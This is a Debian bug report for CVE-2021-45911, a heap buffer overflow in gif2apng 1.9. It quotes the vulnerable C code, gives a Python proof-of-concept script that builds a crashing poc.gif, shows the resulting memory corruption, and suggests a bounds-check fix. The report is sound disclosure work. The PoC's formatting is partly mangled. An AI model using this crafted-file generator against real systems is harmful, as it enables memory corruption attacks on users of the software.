Headline
CVE-2021-45911: #1002687 - gif2apng: Heap based buffer overflow in processing of delays in the main function
An issue was discovered in gif2apng 1.9. There is a heap-based buffer overflow in the main function. It allows an attacker to write 2 bytes outside the boundaries of the buffer.
Reply or subscribe to this bug.
Toggle useless messages
Report forwarded to [email protected], Debian QA Group <[email protected]>
:
Bug#1002687
; Package gif2apng
. (Mon, 27 Dec 2021 11:48:04 GMT) (full text, mbox, link).
Acknowledgement sent to Kolja Grassmann <[email protected]>
:
New Bug report received and forwarded. Copy sent to Debian QA Group <[email protected]>
. (Mon, 27 Dec 2021 11:48:04 GMT) (full text, mbox, link).
Message #5 received at [email protected] (full text, mbox, reply):
Package: gif2apng Version: 1.9+srconly-3 Severity: important Tags: security
Dear Maintainer,
There is a heap based buffer overflow in the main function of the gif2apng application. The responsible code looks as follows:
delays = (unsigned short \*)malloc(frames\*2);
if (delays == NULL)
return 1;
[…] if (val == 0xF9) { if (fread(&size, 1, 1, f1) != 1) return 1; if (fread(&flags, 1, 1, f1) != 1) return 1; if (fread(&delay, 2, 1, f1) != 1) return 1; if (fread(&t, 1, 1, f1) != 1) return 1; if (fread(&end, 1, 1, f1) != 1) return 1; has_t = flags & 1; dispose_op = (flags >> 2) & 7; if (dispose_op > 3) dispose_op = 3; if (dispose_op == 3 && n == 0) dispose_op = 2; if (delay > 1) delays[n] = delay; }
The variable n is used to count the frames. The problem is that if we enter the if statement at the very end of the gif file, then n is equal to frames. This means, that the write to the delays buffer overwrites the two bytes after the delays buffer.
The following script generates a poc.gif file, that should cause a crash:
#!/bin/python3
Writing to poc.gif
f = open("poc.gif", “wb”)
sig = b"GIF87a" w = b"\x10\x00" h = b"\x10\x00" flags_one = b"\x00" bcolor = b"\x01" aspect = b"\x01"
data = sig + w + h + flags_one + bcolor + aspect f.write(data)
Writting more frames to produce crash:
for i in range(0,28): # Going into the id 0x2c path, so that there is a frame id = b"\x2c" w0 = b"\x01\x00" y0 = b"\x00\x00" x0 = b"\x00\x00" h0 = b"\x01\x00" # Getting past our own size checks flags_two = b"\x00"
data = id + x0 + y0 + w0 + h0 + flags\_two
f.write(data)
# DecodeLZW
mincode = b"\\x07"
f.write(mincode)
for i in range(0,512):
# Size value and byte we write to the heap
target\_char = b"\\x01" + b"A"
f.write(target\_char)
# Resetting the values using "clearcode" to keep the code path as simple as possible
clear\_code = b"\\x01" + b"\\x80"
f.write(clear\_code)
# Leaving function
target\_char = b"\\x00"
f.write(target\_char)
Triggering the vulnerable code path
id = b"\x21" val = b"\xf9" size = b"\xff" flags_two = b"\x00" delay = b"\xff\xff" t = b"\x00" end = b"\x00"
data = id + val + size + flags_two + delay + t + end f.write(data)
Breaking out of while loop
f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
f.close()
The generated poc.gif file causes a memory curruption on the heap when converted with the current gif2apng version: $ gif2apng -i0 poc.gif /dev/null
gif2apng 1.9 using ZLIB
Reading 'poc.gif’… 28 frames. Writing 'poc.png’… 28 frames. munmap_chunk(): invalid pointer Abgebrochen
This buffer overflow allows an attacker to write two arbitrary bytes after the delays buffer.
I did a rudimentary fix in my local version of the program by adding a boundary check to the if statement in the code: if (val == 0xF9) { if (fread(&size, 1, 1, f1) != 1) return 1; if (fread(&flags, 1, 1, f1) != 1) return 1; if (fread(&delay, 2, 1, f1) != 1) return 1; if (fread(&t, 1, 1, f1) != 1) return 1; if (fread(&end, 1, 1, f1) != 1) return 1; has_t = flags & 1; dispose_op = (flags >> 2) & 7; if (dispose_op > 3) dispose_op = 3; if (dispose_op == 3 && n == 0) dispose_op = 2; if (delay > 1 && n < frames) { delays[n] = delay; } }
This fixed the crash for me locally. However I am not sure if this is a clean solution as I have no idea if this can happen in a valid image. If this code path is not possible in a valid image it might be better to stop processing the image at this point.
Best regards Kolja
– System Information: Debian Release: 10.11 APT prefers oldstable-updates APT policy: (500, ‘oldstable-updates’), (500, ‘oldstable’) Architecture: amd64 (x86_64)
Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores) Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled
Versions of packages gif2apng depends on: ii libc6 2.28-10 ii libzopfli1 1.0.2-1 ii zlib1g 1:1.2.11.dfsg-1
gif2apng recommends no packages.
Versions of packages gif2apng suggests: pn apng2gif <none>
– no debconf information
Send a report that this bug log contains spam.
Debian bug tracking system administrator <[email protected]>. Last modified: Tue Dec 28 01:30:08 2021; Machine Name: bembo
Debian Bug tracking system
Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.
Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.